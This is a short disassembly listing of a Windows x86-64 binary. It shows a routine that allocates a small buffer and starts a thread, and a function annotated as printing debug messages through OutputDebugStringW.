sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x140304082]
call fcn.1400cf004
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x18
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x100]
mov qword [rax], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rax + 0x10], rcx
call fcn.1400cda65
cmp qword [0x1402e2dd8], 0
je 0x1400e3864
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
mov r8, qword [0x1402e2dd8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1400e386b
mov rax, 0xffffffffffffffff
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400ce95b
Capabilities:
Print debug messages

Disassembly:
jmp 0x14022b370
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret